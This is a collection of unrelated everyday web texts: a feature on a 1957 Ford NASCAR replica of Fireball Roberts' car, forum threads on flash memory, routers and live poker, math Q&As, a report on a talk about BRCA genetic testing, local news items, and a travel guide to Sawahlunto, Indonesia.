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1957 Ford Grand National NASCAR Replica - Fireball's CarWritten by on November 1, 2007 Contributors: Tom Kitchen NASCAR Tech Five Decades Ago
Fifty years ago, he was one of the kings of NASCAR. Even today, his name is still spoken with the same reverence as Richard Petty's and Dale Earnhardt Sr.'s Glenn Roberts certainly fulfilled his "Fireball" nickname from his daring performances on the NASCAR racetracks.
Tom Kitchen of Tampa remembers the aggressive driving style of Roberts. "He was my NASCAR hero back when I was a kid, and I certainly don't feel any different about him today," Tom says.
To that end, Kitchen decided to re-create his favorite Fireball car to the most minute detail. To accomplish this daunting task, he undertook serious research in the Daytona Archives, numerous books, the personal photos provided by Pamela Roberts (Fireball's daughter), and consultations with Fireball's best friend and teammate, Marvin Panch.
So, which of Fireball's many cars would he re-create? It was a tough choice, but Kitchen decided it would be the '57 Ford that Roberts ran during the first part of that season. "It was significant, since you could use any engine that was being offered by the company for public sale. That year, you could get a 300 horsepower, supercharged 312-cid engine, and that's exactly what he had under the hood until NASCAR barred it later that same season," says Tom.
But even though the completed replica would be basically stock-appearing from the outside, that certainly wasn't the case under that heavy sheetmetal. To create the Fireball clone, there was a ton of work to be done, and Kitchen did it correctly, to the smallest detail.
"I started out with a fairly good '57 Custom 'D' Code body," Kitchen says.
With most of the sheetmetal very usable, Kitchen painted the underside black and covered the headlights and taillights. Per the custom at the time, the rear bumpers were extended forward along the rear quarter to avoid hooking another car. This also provided a bit of an aerodynamic advantage.
To keep the front-hinged hood from opening at speed, there was a pair of hooks on the body in front of the windshield and two more on the hood rear. They were hooked together with a stretch rope, which held the hood in place. There was also a door handle on the right side of the hood to aid a crewman in lifting it to gain access to the engine compartment.
The trunk lid hold-down mechanism had two hooks behind the bumper and a single hook on the trunk, with a stretch rope passing through all three hooks.
Interestingly, the stock stainless steel side-body trim was retained and actually used in the racing paint scheme. Even the stock door handles were retained, but it has to be noted that the doors were prevented from opening by molded metal strips on both sides. All the factory window glass was still in position.
In race trim, the wheels (minus wheel covers) were heavy-duty Ford station wagon units along with larger 8.00x14 tires. The color scheme was carefully copied with the familiar red-and-white detailing. All the correct decals and stickers are in their exact positions, and the passenger side of the car even sports a trio of tire marks.
And you better believe those "Supercharged 300 HP" statements on the hood really got your attention. That was big-time horsepower for the period.
Kitchen continues, "There were a number of red-and-white cars at the time, so the team created a way to immediately identify Fireball when he came into view. They put a large white cross on the left-front headlight, which could be easily viewed with binoculars. This was before in-car radios."
The suspension system was re-created using existing automotive components. "Some of the coil springs were cut shorter, and heavier Ford station wagon front/rear springs were added, including a beefier front sway bar. We then added four more front shocks, for a total of three on each corner with tower supports. An additional shock was also added to each rear shock," recalls Kitchen.
Not having a correct original engine would have stopped many restorers, but not Tom Kitchen: "I had a rebuilt, 312-cid, four-barrel carb engine with an original Paxton Phase I Supercharger. It had all the correct pieces, including the pulleys, blower hoses and hose clamps, fuel filter, and air cleaner."
The restorer indicated that the 300hp statement on the hood probably understated what was under the hood: "The teams made several changes to those engines, including the pulley. The correct horsepower was probably more in the 375-horse category."
The remainder of the powertrain consists of a heavy-duty rebuilt three-speed manual transmission (shifted on the column) with a truck clutch and pressure plate. The rearend is a 9-inch Ford heavy-duty 3.73-geared unit.
With the help of N.O.S. fabric for the door panels and seats, the interior took on the look of the original. The rollcage was fabricated from 2.5-inch-diameter black pipe and friction taped. The correct custom steering wheel carried a sponge on the center wheel hub that was then taped over. "An early airbag," Kitchen quips.
Next came the expected radio, clock, and heater deletes, along with the removal of two firewall heater panels. Also, there are the period S&W gauges and a Sun Tach, along with an N.O.S. boost gauge from Tom Pistone. All the inside headliner was removed with the metal surface then being painted.
A little late '50s race tech can be seen in the leather strap that held the tranny in Second gear on dirt tracks to prevent it from popping out of gear. There was also the vaunted trap door over the right-front tire, which could be lifted up at speed to view the condition of the tire. Kitchen continues, "It was pulled up with a rope and there was a Sun timing light that could freeze-frame the rotation and effectively 'stop' the tire."
There was another device that Roberts had installed in his original '57. "It was a piece of wood that was installed in a vertical position that laid against the right leg and hip, which kept the driver from sliding to the right in the turns. There weren't any modern five-point seatbelts back in the day."
Kitchen kept going, though, to create as much realism as possible with his clone car display. "I have a period helmet and uniform both done up in Fireball style," he explains.
Everywhere Tom takes the replica, it gains huge attention. He laughs when he reveals that many people ask him if he's Fireball Roberts. "I remind them that he was killed in a fiery crash in 1964 at Charlotte Motor Speedway."
The car has appeared at a number of large shows and won a Top 25 "Period Perfect" award at the Jacksonville (FL) Good Guys show and "Best Race Car" at a large St. Petersburg (FL) show. By the way, this car is street legal, with Kitchen being able to remove the headlight covers and reveal functional headlights.
Kitchen made a statement about the car, which many would agree with today: "It was a time when stock meant stock and you could tell a Ford from a Chevy from a Mercury . . ."
Amen to that!
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The extensions on the forward edges of the rear bumper were requested by the teams to prevent two cars from hooking together. But the smooth extension reportedly provided an aerodynamic advantage.Heavy-duty factory wheels were the standard during the period, with these coming from a Ford station wagon. Wheels from trucks were also used. The car has vintage 8.00x14 bias-ply tires.That "Supercharged" nomenclature on the hood was something that you didn't expect to see in NASCAR. But the engine could be ordered in '57 Fords, which made it legal with NASCAR-at least during the first part of the season.You don't have to look twice to realize that the stock aspects of this 50-year-old model have been mostly retained. The model identification of the era was one of the strong points of the sport back in the day.As can be clearly noted, all the factory trim was still in position. Here, the chrome strip fits around the windshield and around the windows. Also, note that nifty 1957 NASCAR decal.With a number of red and white cars competing that long-ago season, it was necessary to figure out a way to identify Fireball's car. It was done with a white "X" covering the left headlight.This 312 supercharged powerplant was ahead of its time. Fortunately, Kitchen had one of these rare engines. This correct restoration probably couldn't have taken place otherwise. Note the additional shock and tower support.That's a 9-inch Ford heavy-duty rearend, as viewed from the rear of the car. It receives its rotation from a three-speed manual tranny.
What more can you say about this interior being stock? The door covering is still in place, along with the door handles.Surprisingly, the stock bench seat was retained even when the car was in race trim. The back for the passenger side, however, was removed. There was also a body support on the right side of the driver side, which was a great help when going through the turns.That old tale about early NASCAR drivers being able to check the condition of a tire during a race was actually true. There's the trap door on the right-front side of the floor.As the hood for the '57 Ford hinged at the front of the car, it was necessary to restrain the rear of the hood next to the bottom of the windshield. The method to accomplish that feat is shown here.To prevent the trunk lid from popping up in an impact, a rubber strap was hooked to three hooks providing strong support to keep it down.A view of the interior of the replica racer. The dash contains a number of delete plates for accessories.


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Context: I am working on adapting agile to my life as a student, I have even brought together a few other students to do standups and get feedback as might be found within agile.
From my experience on a software team using agile, it seems that a big part of the success of agile comes from two things.
- The collaborative nature of the project which agile is helping manage
- The management structure of the team
- As a group of students who are mostly in different classes and have different responsibilities (i.e. we are not really collaborating on a specific project per se). How can we focus our agile methods to so that we can still gain from agile in a group setting?
- As much as we are trying to give each other feedback, there is not really much accountability to a manager that will later evaluate our work. How can we ensure that the students in the group still gain from having some sort of accountability?


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More than 100 low-income children will start the new school year with supplies thanks to Flowers For Dreams and North Central College supporters.
More than 100 low-income children will start school this year with supplies paid for by supporters of North Central College.
The College teamed up with Flowers For Dreams for the third straight year to raise money to buy school supplies for local needy students. Part of the proceeds from the sale of flowers at North Central College's Commencement ceremony in June benefited Flowers For Dreams.


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I found the expression, "I never in a million years thought I'd see this," in the New York Times' article (November 9) commenting on pedophiliac harassment scandals of Penn State under the headline, "Paterno is finished at Penn State, and President is out."
The phrase appears in the following sentence:
Kathryn Simpson, 20, a junior studying graphic design, was weeping as she walked away from the university's administration building, Old Main, with a friend. "This is devastating for us," she said. "I never in a million years thought I'd see this."
I'm not sure of whether "I never in a million years thought I'd see this," is popular expression or not, but it reminds me of a universal pattern of exaggerated expressions that we imported from Chinese classics and turned them into colloquial metaphors, for examples, "白髪三千丈- an old man with 99,000 feet gray hair, describing a reclusive old man with long gray hair and beard," "万石之涙 - shed 1,800,000 liters of tears, describing deep sorrow," and "万里之長城 - the Great Wall of 40,000 km."
I'm curious to know what kinds of popular, exaggerated formats of English expression you have other than "I never in a million years thought I'd see this."
Would you give me just a few examples that I can use it tomorrow, because there would be hundreds or thousands?


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These are confusing times for women who are concerned about their chances of developing breast cancer. Now that they have relatively easy access to genetic tests, many women -- especially those with a family history of cancer -- are trying to decide whether they should be tested. But which groups of women should have the test is not clear. In addition, once a test is done, it is difficult for physicians to interpret the result and to make recommendations to patients, because the research community is constantly uncovering more information on this relatively new discovery.
To help women sift through some of the conflicting reports on genetic testing for breast cancer, and to provide some food for thought, Mildred Cho, Ph.D., assistant professor at Penn's Center for Bioethics, gave a presentation on "The Ethical and Social Implication of Genetic Breast Cancer Testing." The talk was a part of a well-attended, day-long symposium called "Life After Breast Cancer," held on April 29. The object of the program -- sponsored by the University of Pennsylvania Cancer Center and now in its sixth year -- is to provide information and support to survivors of breast cancer and their loved ones.
Genetic testing for hereditary breast and ovarian cancer has raised numerous ethical and social issues, Cho said. These tests can be used on women without symptoms to detect predispositions for cancer that might occur well into the future -- or not at all. And although tests can reveal mutations, they do not tell the whole story or take into account other possible contributing factors, such as lifestyle, family history, or other genes that might come into play.
Because information about test performance and the efficacy of treatment is still incomplete, experts generally agree that, currently, it is only appropriate to screen women who come from high-risk families. Yet tests are available to women outside the research protocol, and commercial companies are marketing the tests to women who may not be at high risk.
Cho emphasized that women considering whether to be tested must take into account the potential risks and lack of information. According to Cho, before anyone takes any type of medical test, he or she should know certain things: how accurate and predictive a test is; what the possibility is of false positives or negatives; and whether there is anything the patient can do to prevent or treat the disease.
For the time being, women have to make their decisions without all of the answers. "One of the reasons for this limited amount of information," Cho said, "is the difficulty of getting data about the performance of tests that detect late-onset conditions." For such data, she explained, "you'd have to follow up people for a long time. And we just haven't had that much time since the development of the test."
Perhaps the most important thing that women should know before testing for BRCA1 or BRCA2, the mutated genes, is that a positive test does not mean a patient will definitely get cancer. "There are false positives and false negatives," Cho said. "In fact, BRCA1 and BRCA2 are not, as diagnostic tests go, terribly accurate."
According to Cho, most articles in the medical literature and the lay press about BRCA1 say that the risk of breast cancer with a positive genetic test is 85 percent. But, she said, there is recent evidence that this risk figure may actually be much lower in individuals who do not have a very strong family history of cancer. (See editor's note.)
Cho asked the audience to bear in mind that disease-associated genes are usually identified first in families that are at very high risk. With BRCA1 and BRCA2, she said, "many of the women who were studied initially came from families in which multiple relatives have breast or ovarian cancer. The present data on the accuracy and predictive value of the tests comes mostly from these very-high-risk populations. Once a gene is identified that is associated with a disease, it takes a long time and many samples from lower-risk populations to determine whether the test performs as well in those situations."
In general, genetic tests are less predictive in populations with a lower incidence or lower severity of disease. "Without systematic and long-term data collection," Cho said, "we'll not know what the predictive value of BRCA1 and BRCA2 testing really is in actual clinical use if it's used in people who do not have a strong family history of the disease, and that's generally not considered appropriate right now."
Not only does it appear that genetic tests may have varying significance in higher- and lower-risk populations, Cho said, but the data on the efficacy of preventive measures and treatments may not apply equally to those with strong or weak family histories of cancer. "Many studies on prevention such as prophylactic mastectomies or mammography were not necessarily designed to take into account factors relevant to hereditary breast and ovarian cancer, which may have a very different kind of mechanism," she explained. "For example, while an increased frequency of mammography may sound like a good idea for people who test positive for BRCA1 and BRCA2, there is the question about whether that is a good idea if this group of people is potentially more likely to be sensitive to radiation damage."
At present, said Cho, regulation of genetic testing is minimal, which contributes to the lack of pooled information. The Food and Drug Administration does not regulate the tests; and although the Health Care Financing Administration regulates laboratory quality, it does not determine whether a diagnostic test is safe or effective.
The long consent forms and dense brochures that many genetic testing programs have developed "may deliver too much information," said Cho. In her view, these written "informed consent" materials should be supplemented with one-on-one discussions with the health care provider. But studies indicate that these talks do not always happen. Cho told of a recently published study on commercial genetic testing for familial colon cancer that showed that only 18.6 percent of patients received genetic counseling before they took the test. Only 16.9 percent of patients provided written informed consent before testing. "Furthermore," Cho added, "nearly a third of the physicians ordering the test misinterpreted the test results."
According to Cho, patients have to keep in mind that knowing their medical family tree could have unexpected consequences. For some patients, finding out that they have the mutation could be "toxic knowledge" that might affect their outlook on life. "When you're evaluating the ethics of a genetic test, the medical risks and benefits have to be placed in the larger context of social and psychological risks." One risk she cited was job discrimination if an employer knows an applicant's medical history. And women who test positive but who do not yet have the disease -- and who may never develop it -- face the same possibility of social and psychological disturbances and discrimination.
Cho referred to a study published last year in Science magazine that surveyed 332 members of support groups for genetic disorders, not necessarily for breast cancer: 25 percent of the respondents or their affected family members believed they had been refused life insurance because of their genetic disorder. In addition, 22 percent believed that they were refused health insurance and 13 percent believe that they were denied a job on the same basis.
Another study Cho cited showed that some women have unexpected responses to their test results. Some women may find relief or empowerment from their results, whether positive or negative. However, a small but significant proportion may actually become more anxious or depressed after either a positive or a negative test result.
As Cho put it, "The onus -- for better or for worse -- is on patients to be alert and proactive about getting their own information about testing." She emphasized that patients must keep in mind that genetic testing for breast cancer is voluntary and that each patient has the right to decide whether to test, despite any pressure from their health care providers. "And practitioners," Cho added, "need to be aware of the potential downside of testing and to be educated on how to counsel and interpret test results. Or know when to refer to specialists who have this expertise already."
Editor's note: Shortly after Cho's talk, a Penn research team led by Barbara Weber, MD, associate professor of medicine and genetics, published findings in The New England Journal of Medicine that showed that BRCA1 mutations were found in only 16 percent of women with a family history of breast cancer. As the study notes, the percentage is "less than the 45 percent predicted by genetic-linkage analysis." The figure drops to 7 percent in the case of women from families with a history of breast cancer but not ovarian cancer. Among women with family histories of both breast and ovarian cancer, the risk of having BRCA1 mutations was higher. For example, "BRCA1 mutations were identified in . . . 18 of 45 families (40 percent) with members with both breast and ovarian cancer." Weber's study concluded: "Even in a referral clinic specializing in screening women from high-risk families, the majority of tests for BRCA1 mutations will be negative and therefor uninformative."


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Residents of Morehouse Parish will have the opportunity to address representatives and a senator with questions they may need answered during the Annual Legislative Luncheon on July 19.
The Bastrop-Morehouse Chamber of Commerce is hosting the event at the Bastrop Visitors Center to honor Sen. Mike Walsworth, Rep. Bubba Chaney, Rep. Katrina Jackson and Rep. Jay Morris, all of whom represent Morehouse Parish.
Sen. Mike Walsworth said he will speak on the issues of education, the budget and possibly even healthcare.
He said his driving force has always been education and he will be prepared to answer questions that area residents may have.
"Trying to give every student a chance to succeed has been my guiding influence," Walsworth said. "And there are a lot of questions concerning education; I would much rather answer questions people have than give a speech."
Chamber director Dorothy Ford said the luncheon has been an annual event for the past four years.
"This will give the public the chance to get an update and more information about bills passed in the last legislative session," Ford said. "I think this year's [luncheon] will be one of the more popular because [recent education reform legislation] has been such a hot topic for everyone."
The luncheon will be held from 11:30 a.m. to 1 p.m. at the Bastrop Visitor's Center on July 19. Tickets are $10 for Chamber members and $12 for non-Chamber members. The deadline for purchasing tickets is 9 a.m. July 16.
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Is every norm in R^n a continuous function?
Yes, because in finite dimensional spaces all norms are topologically equivalent.
Yes, and this is true more generally (same reason as John Cook) for norms over a finite-dimensional vector space over a field complete with respect to an absolute value. It doesn't work for infinite-dimensional spaces.
I agree that this looks like a homework question, but since some people have already bitten, I'd just like to point out what might be said for infinite-dimensional spaces. So suppose you have an infinite-dimensional real or complex vector space, equipped with a norm || . ||
What does it mean for a function on V to be continuous? Well, you have to specify a topology on V, and it's natural to use the one defined by the norm. But then it's an immediate corollary of the triangle inequality that the norm function is continuous with respect to the topology it defines. (In some sense, if this weren't true, then we wouldn't bother studying normed vector spaces!)
However, V might also carry some weaker topology (such as a w*-topology induced by some predual) and then the norm will not in general be continuous with respect to that topology.
(Silly remark: equip R^n with the indiscrete topology, i.e. the one with only two members. Then the usual norm is not continuous. Of course, that's a ridiculous topology to put on the space. I have a feeling that every Hausdorff topology on R^n for which translations and dilations are continuous, is equivalent to the usual one, but I'd need to check in something like Rudin's book to be sure.)
The answer is "yes".
The exaplanation depends on what is meant by "continuous". Let's agree that "the norm || || is continuous" means "if (x_n) is a sequence of vectors such that the coordinates x_n converge to the coordinates of some vector x, then ||x_n|| converges to ||x||".
Let e_1, ..., e_n be the standard basis of R^n. First one shows that for every i, the function t -> ||t*e_i|| is continuous (t real). Then, after writing every vector as a_1 * e_1 + ... + a_n * e_n, the result follows easily from the triangle inequality.


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Will recertified flash memory be any less reliable than new flash memory?
I came across this deal, and it made me wonder.
It's from sandisk, so it can't be that bad, but will there be any difference?
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I hope not I got one. Figure I will store music on it and if it goes oh well.
you might luck out and get James Bond's secret documents, or someone's sexy pics stash
but for real, i don't think it would be any different than a used thumb drive. they're both constantly rewritable memory. (my guess)
They are rewritable, but there is a limit to how many times you can write to them. Fortunately, that number is extremely large and by the time you get there you will have replaced it anyway.
It all depends on how much it was used prior to its recertification. Like rprebel said, flash can only be written to a finite number of times.
It also depends on the quality of the flash (which goes for original, as well). No-names or off brands will buy marginal flash memory in bulk, which is flash that may have not passed rigorous name-brand tests, but do pass tests when the test criteria are loosened up. It could work for a good long time or it could die after a few uses. It's a gamble.
If you want reliable memory, go with a quality name brand.
You can't refurbish flash memory cheaply. So, I'd imagine it's just erased and sent out the door. It will not have the full amount of erase cycles. As a previous poster pointed out, that number is very large, so you're probably ok unless its cheap flash memory.
I'd save money elsewhere. Although for non-critical data it may be fine.
For video, I need Class 10 (fast) flash memory - if it's slower than 'rated' this could impact taking videos adversely. And new is not really very expensive.
Kind of like 'used', for example for car parts - some stuff may be OK, but most junkyards simply won't sell used brake parts...
I've purchased 're-certified' (used) monitors, 3.5" floppy drives (heck they mostly don't get used anyway) but never anything critical (PS, memory, etc.).
Sometimes you may find new cheaper than 're-certified' - discontinued items are generally 'new'.
I'm always amused when folks ask for recomendation AFTER the purchase.
Heck, you've already got it - use it - it'll probably be just fine.
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So, if you talk to the right people, they will tell you that the braiding of the category of representations of a quantum group are not unitary and that one can fix this by taking a different commutor (the cactus commutor). But I like the R-matrix better, and I think I know an inner product where it's unitary. I'm throwing this up here in hopes that it will look familiar to someone.
For those of you wondering why I would do such a thing, I should mention that I like categorification. Categorification is a funny thing, and one funny thing about it is that you can't really categorify just a vector space; you can only categorify a vector space with (maybe non-symmetric) inner product, and any map you categorify to an equivalence of categories must be unitary for this inner product. So if one is to categorify a linear operator, it had better be unitary with respect to something.
So, this inner product on V (x) W for any irreducibles V and W is the unique one (up to scalar) such that
$$(\Delta(F_i)v,w)=(v,\Delta(q^{-d}_iK_iE_i)w)$$ $$(\Delta(q^{-d}_iK_iE_i)v,w)= (v,\bar \Delta(F_i)w)$$
(Here, $\Delta(F)=F \otimes K^{-1} + 1\otimes F$ and $\bar \Delta(F)=F \otimes K + 1 \otimes F$).
Ring any bells with anyone?
EDIT: Anyone curious how this story actually works out should look at my papers Knot invariants and higher representation theory I and II. The upshot is that there is a bilinear form on a tensor product for which the R-matrix is an isometry.


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Lets say I'm reading a text on programming language which has some example on poker. As soon as I read it, my mind drifts off about some related things around poker, like probability, last time I won, movies around it etc etc. And then I start reading about Poker on Wikipedia itself!
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What are the most important considerations in moving from online to live games? I usually play low stakes SNG with somewhere between 10-50 participants and want to try playing live tournaments with a similar number of participants.
Funny you should ask that today, i was just reading the following article by PKR's newest pro:
Live poker tends to be significantly different than online.
Always protect your cards.
Act in turn.
If you consistently act out of turn, you're going to mess up everything. Dealers will get annoyed, players will flip out if you killed their action, and so on. Pay attention.
Never, ever talk about the current hand unless it's heads-up.
If you talk about the current hand in a multiway pot, you're asking for trouble. You are going to piss people off. Be aware that what you're saying will affect how people play the hand. And please, never, ever talk about a hand when you aren't in it.
Be aware of what constitutes a bet.
Many casino tables will have a circular line on it. If you go over said line with chips, it will be a bet. Other casinos won't classify it as a bet until you take your hand back. You can take a $100 stack, put $50 down, take $50 back, and you've made your bet. Other's will say it's a $100 bet, regardless of what you intended.
It's a good policy to always announce what you plan to do verbally. When you want to raise, say "Raise". This will allow you to figure out how much you want to bet without consequences. Don't be hasty.
Keep your big chips in front. Don't keep dirty stacks.
Always keep your biggest chips visible. I have yet to play in a casino where this isn't a rule. This is so players can assess your chip stack without having to request a count or somesuch. Don't mix and match your stacks. Stack the $25s together, stack the $50s together, and so on. This isn't a concrete rule. Some casinos require it, others don't... WSOP requires clean stacks.
If there are antes, don't make the dealer remind you to post it every hand.
Far Fewer Hands/Hour
This is an obvious difference that is picked up by most people intuitively. Online you can average 100+ hands/hour whereas in a casino you'll be lucky to get ~35 per hour with a good dealer. If you run into a new, barely trained dealer, or just a bad one, things can get bad.
Also keep in mind that Hollywood'ing is absolutely rampant in live games. You'll run into a lot of players that take 2-5 minutes per decision. This can severely affect your game, especially in tournaments. In cash games, especially $2/$5 or higher, you'll just have to accept it. But in tournaments, which you said are your main game, the only solution is to call the person on it, politely, and warn them that if they don't speed it up you'll wait 1.5-2 minutes before consistently calling clock every time they go over that limit. You'll need to do this as politely as you can because many poker players will take offense to having clock called on them. Just politely explain the blinds are going up, usually every 15-30 minutes, for everyone and it's unacceptable to have someone consistently spending 5+ minutes per decision.
Vast Differences in Skill Level vs. Online Counterparts
$1/$2 live is nowhere near the skill level of $1/$2 online, $60 tournament live is like a $2 tournament online. There are a number of reasons for this.
First, fish go broke faster online. As such, the skill level will just naturally be higher online. This is an important point: live regs are usually unprofitable fish. You'll run into a lot of them simply because these players can't possibly go broke. They likely work and play 2-5 tournaments per week at their local casino. They don't particularly know how unprofitable they are because it's spread over time. If you converse with them you'll likely hear a lot of lines such as:
And so on. Any players you hear talking like this can generally be labelled as fish. They've never read poker books and usually are scornful of anyone who does. If you plan on playing daily/weekly tournaments at a local casino, this basically depicts over half the field. Things change drastically in live events. The field becomes much tougher, usually due to online players peeling themselves away from their chairs for the bigger buy-in tournaments and, depending on the event, people flying in from elsewhere for the series.
The casino staff are people. They will instinctually start to favor regulars over time. Some consequences of this:
This is a very important thing to watch for, especially in confrontations. When there is an argument at the table, between two+ players and/or the dealer, regarding the current hand, the pit boss is usually called. They are suppose to remain entirely impartial and will attempt to make the most fair judgement. If you notice a pit boss is blatantly favoring regs consistently, it creates a very difficult situation. I wouldn't throw that accusation around lightly. I would likely just file a complaint with the casino and skip the poker room staff entirely.
There are two main types of straddles in poker. The first is the live straddle. A live straddle is when the UTG player posts a bet, before he receives cards, of around twice the big blind. This will enable UTG+1 to be the first to act and him to be last to act preflop. For instance:
The second type of straddle is the Mississippi straddle. This is the same as a live straddle except the button has the option to straddle. For instance:
They both have their merits but the Mississippi straddle is obviously far more powerful. You maximize your positional advantage preflop while bumping up the stakes while you have the button. Often, especially in pot-limit Omaha and higher stakes cash, you'll find games with a mandatory Mississippi straddle.
I know, everyone says they would never drink while playing poker for relatively significant amounts of money. But it always ends up happening. There's nothing wrong with having one beer at the end of a live session but moderate yourself accordingly. Determine what you're trying to accomplish with your poker. If it's primarily for recreational purposes, know what your monetary limit is and feel free to drink. But if you're looking to make money off poker and grind seriously, you should avoid all alcohol and drugs like the plague. This is even more important in Vegas.
Increased Operating Costs
The rake is quite fair in most casinos but if a cash table you're at becomes short-handed, usually 6 or less players, you can request a lower rake. This is important as dealers will "forget" and some poker rooms won't even do it unless asked.
Tipping. It's customary, when you win a pot, to tip the dealer $1. This adds up over the long run. You'll also inevitably be buying food/non-alcoholic drinks/alcohol. Don't be cheap. Tip the waitress.
Traveling Costs. If you live right across the street there's nothing to worry about. But if you don't you should factor in not only how much it costs you in gas/transit to get to the casino, you should factor in how much time it's taking up. Every hour you're wasting traveling to and from a casino is money you aren't making online.
House Rules
Very important. You never know what crazy rules this particular casino has come up with. Ask before you play. They'll usually have signs posted in the room explaining things. Also, if you ever have a problem with a ruling a dealer made about a hand, call the pit immediately. Dealers make mistakes all the time and the only way things can be fixed fairly is if you call the pit.
Most casinos will also have bad beat jackpots. When a bad beat occurs, usually AAATT or better in both hands, there will be a huge payout. ~50% to the person that lost, 25% to the person that won, and 25% split among everyone else at the table (table share)*. Also, many casinos will have progressive high hand jackpots. Hit quads or better and you'll get a payout. Those are only the most common ones. Be sure to ask or read what the situation is in each casino because they usually have esoteric rules for how you can claim said jackpots. You don't want to mess up a bad beat on a technicality.
This is a controversial topic. Angling is when you use conversation, physical actions, etc. to influence your opponents behaviour and/or decision making and, by doing so, gain information about their hand, ranges, thought process, etc.
It isn't allowed in casinos. But the rule is never enforced unless someone really makes a big stink about it. Lots of players, especially live players, consider it to be a vital part of playing poker. You'd be better off not doing this until you get more comfortable playing live poker.
Always be polite and friendly.
Nobody wants to hear about how someones a donkey. Or how they played bad. Or how they should have played. This not only makes other players dislike you, it makes them take joy when you lose. Thus, they'll obviously try to focus on taking your money. What you want to do is be the guy at the table everyone enjoys playing with. This is absolutely crucial. Players will avoid you because they like you. They fold hands they wouldn't against other players. They'll fold preflop because they are in enjoyable conversation with you. They'll give your raises a lot of respect. And so on. It will literally make you money to be polite and friendly.
The biggest difference you'll notice right away is that live poker is much slower than online poker. The first time I played live, after playing a few years online, I was bored out of my mind because the pace was so slow. Fortunately, you'll adjust to it quickly!


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After an hour's drive from the city of Padang to its northeastern outskirts, the road splits.
Lake Singkarak lies to the left and Sawahlunto to the right, some 95 kilometers from Padang.
Sawahlunto is known as the town of the 'black pearl' harking back to the once-abundant coal which was the town's prominent product.
Today, approaching the town one finds deserted rail roads, stepped rice fields, and the familiar Minangkabau rumah gadang upsweeping roofs dotting the wayside between the busy town of Solok and Koto Sungai Lasi and on to the town of Sawahlunto, a quiet cluster of heritage charm on the slopes of Muara Bungo's valleys, set among rainforests. The town is quite small, but there is a lot to discover.
It was William Hendrik de Greeve, a Dutch Geologist, who discovered the site in the early 19th century, and found it rich in coal deposits, known as the Black Pearl. And so Dutch first investments in coal mining was made here beginning in the 19th century, building infrastructure, public facilities , offices, hotels, housing areas, and stores, to manage and transport this precious mineral resource. Transportation networks were also developed, connecting Sawahlunto with Muaro Kalaban, Pulau Aie, Padang Panjang, Bukittinggi, Solok and then to Padang, investing no less than 20 million Dutch Guilders at that time. History noted that coal mining in Sawahlunto was launched on 1 December 1888, and became famous as the Ombilin mines.
As a small town that built itself on the success of the coal mining industry, Sawahlunto today has become an attractive tourist destination that offers nostalgic traces of an old mining town. The heritage hotel built to cater Dutch scientists and geologists still stands gallantly among other century-old buildings.
There are several hotels in town. Some of them are new and some other are classified as heritage buildings.
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Wisma Mutiara Jln. Prof. M. Yamin, SH Talawi, Sawahlunto Phone: +62 754 410061
Hotel Laura Jl. Ahmad Yani No.210, Sawahlunto Phone: +62 754 61214
Ombilin Heritage Hotel Sawahlunto Jl. M. Yamin, Pasar Remaja, Lembah Segar
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When travelling from outside West Sumatra, it is recommended that you come to Padang first. Please refer to HOW TO GET THERE in the Padang article.
You can go by bus or a rented car to Sawahlunto from Padang or Bukittinggi. The distance to the quiet town is 95 kilometers, or around 2 hours by car from bustling downtown Padang. Follow the road to the town of Solok, and continue the trip on the trans-Sumatra road heading south to Java.
After approximately 20 kilometers from Solok, there is a crossroad at Muaro Kalaban. Pay attention to the road sign and direction. Follow the direction to Sawahlunto, and you will pass a winding road with lines of trees that sometimes discourage most travelers to Sawahlunto. Do not worry about the unsettling road as it will eventually take you to the destination.
If you are in Bukittinggi area 138 kilometers from Sawahlunto, take the road to Batusangkar and then follow the same direction as you find the crossroad in Muaro Kalaban. From Batusangkar, the town of Sawahlunto is about 40 kilometers.
Taxi from Padang to Sawahlunto is around IDR 200,000 to 250,000 (price is subject to change). A public bus from Padang is IDR 8,000 and a group tour to Sawahlunto in one of the tour operators in Padang is around IDR 20,000 per person.
In Sawahlunto, there is daily trip to Muaro Kalaban by an old train as a tourist attraction. It will cost you IDR 75,000. The maximum passenger load is 12 persons chugging along for around 5 kilometers to take one on a nostalgic trip on the old railway lines.


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Does anyone have any experience with one of these routers?
I have one of these, and it's adequate. It does run fast and is great for streaming netflix and hulu.
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I bought this router because of the USB attached storage capabilities, however that has not worked out as described and now I have removed the hard drive from the router and attached it back to a HTPC and use tversity to access it on other devices. The router does recognize the hard drive and all the videos and pictures and does stream it to my PS3, but I cannot access the hd to add more content to it remotely. I have to physically detach it from the router, attach it to my computer, add or delete files, and then reattach it to the router. It's a pain and not what I signed up for.
@skuzzpuppe: you're absolutely correct. except for the power cycling, might be yours is defective.
it's great for streaming video. I set it up with 2 roku's, a wd media player, and a few laptops. It was way better preformance than cisco we had (low end).
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Assume Q is a convex central symmetric curve, whose area is $\displaystyle S$. The area of the maximum parallelogram inside Q is $\displaystyle S'$.
How to prove the conjecture that $\displaystyle \frac{S'}{S} \ge \frac{2}{\pi}=0.6366\dots$?
For example, If Q is an ellipse, $\displaystyle S'=2ab$, $\displaystyle S=\pi ab$. If Q is a regular hexagon, $\displaystyle \frac{S'}{S}= \frac{2}{3}$.
It's trivial that $\displaystyle \frac{S'}{S} \ge \frac{1}{2}$, and I know how to prove $\displaystyle \frac{S'}{S} \ge \frac{4}{4+\pi}=0.56\dots$
From many reason, I believe this conjecture is true. Denote MAP="Maximum Area Parallelogram": For any Q and any direction $\theta$, let $P(Q,\theta)$ be the area of MAP which have a corner in this direction. $S'=max\{P(Q,\theta)\}$. In order to make $\frac{S'}{S}$ smallest, We need keep the largest one of ${P(Q,\theta)}$ small while S is a constant. Ellipse just keeps everyone in ${P(Q,\theta)}$ average. This is very special, I don't think there will be other curve having this property. On the other hand, distribute equally always lead to the min-max in our knowledge.
About the $\frac{4}{4+\pi}$ lowerbound, the idea is as follows: First, use polar function $r(\theta)$ to describe the curve. The condition is that $r(a)*r(b)*sin|a-b|<=C$, and we want to bound is $S=\Integral_{\theta}{r(\theta)}^2$. Second, Without lose of generality, We assume $r(0)=r(90)=1,C=1$, and assume $Q$ is in the boundary of $Z=\{ (x,y)|-1\le x,y\le 1\}$. Third, let $a=r(\theta)$ and $b=r(\theta+90)$ and find a bound for $(a^2+b^2)$ by Cauchy-Inequality. and it will give a bound for the area $S$.


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This issue threatens to put tens of millions of dollars of open land up for sale costing tens of millions more in new infrastructure. Selectman Robert Marquis has championed this issue in vain since other town officials throw up their hands and claim impotence. They are indeed "fiddling while Rome burns."
I have received conflicting statements from the board of assessors, its chairman and the Massachusetts Farm Bureau.
The Swansea Board of Assessors is out of control and they depend on you being intimidated.
